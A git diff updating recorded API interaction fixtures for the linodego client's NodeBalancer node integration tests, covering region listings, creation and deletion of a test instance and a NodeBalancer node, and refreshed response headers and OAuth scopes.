"Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:19 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -218,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-jip2798ozm24","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-tf36qat88h01","root_pass":"/X-v1/Enlf{*\u003cQ~cHihc83.}Q-1?89G62g4P,.uVs|107EOXRfaJCe95US;v$4t3","image":"linode/debian9","firewall_id":501400,"booted":false}' form: {} headers: Accept: @@ -239,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708272, "label": "go-test-ins-jip2798ozm24", "group": "", "status": + body: '{"id": 59542211, "label": "go-test-ins-tf36qat88h01", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.126"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.125.26"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' + "d33f497aa1cc27824ae1ad0b23fb07978a5f9ab8", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "764" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:20 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -299,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708272/ips + url: https://api.linode.com/v4beta/linode/instances/59542211/ips method: POST response: - body: '{"address": "192.168.159.139", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708272, - "region": "ap-west"}' + body: '{"address": "192.168.142.212", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59542211, + "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,15 +399,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "184" + - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:20 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,16 +424,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.159.139:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' + body: '{"address":"192.168.142.212:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: @@ -356,12 +445,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339/nodes + url: https://api.linode.com/v4beta/nodebalancers/694186/configs/1134760/nodes method: POST response: - body: '{"id": 516206631, "address": "192.168.159.139:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670339, "nodebalancer_id": - 441121}' + body: '{"id": 2047158849, "address": "192.168.142.212:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134760, "nodebalancer_id": + 694186}' headers: Access-Control-Allow-Credentials: - "true" @@ -374,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "182" + - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -395,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -413,12 +509,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339/nodes/516206631 + url: https://api.linode.com/v4beta/nodebalancers/694186/configs/1134760/nodes/2047158849 method: PUT response: - body: '{"id": 516206631, "address": "192.168.159.139:8080", "label": "go-node-test-def_r", - "status": "Unknown", "weight": 100, "mode": "drain", "config_id": 670339, "nodebalancer_id": - 441121}' + body: '{"id": 2047158849, "address": "192.168.142.212:8080", "label": "go-node-test-def_r", + "status": "Unknown", "weight": 100, "mode": "drain", "config_id": 1134760, "nodebalancer_id": + 694186}' headers: Access-Control-Allow-Credentials: - "true" @@ -431,15 +527,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "184" + - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +552,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +573,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339/nodes/516206631 + url: https://api.linode.com/v4beta/nodebalancers/694186/configs/1134760/nodes/2047158849 method: DELETE response: body: '{}' @@ -486,15 +589,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,9 +614,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -525,7 +635,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708272 + url: https://api.linode.com/v4beta/linode/instances/59542211 method: DELETE response: body: '{}' @@ -541,15 +651,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -562,9 +676,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNodes_List.yaml b/test/integration/fixtures/TestNodeBalancerNodes_List.yaml index 087fdcc56..74ecbcb2e 100644 --- a/test/integration/fixtures/TestNodeBalancerNodes_List.yaml +++ b/test/integration/fixtures/TestNodeBalancerNodes_List.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228212, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud 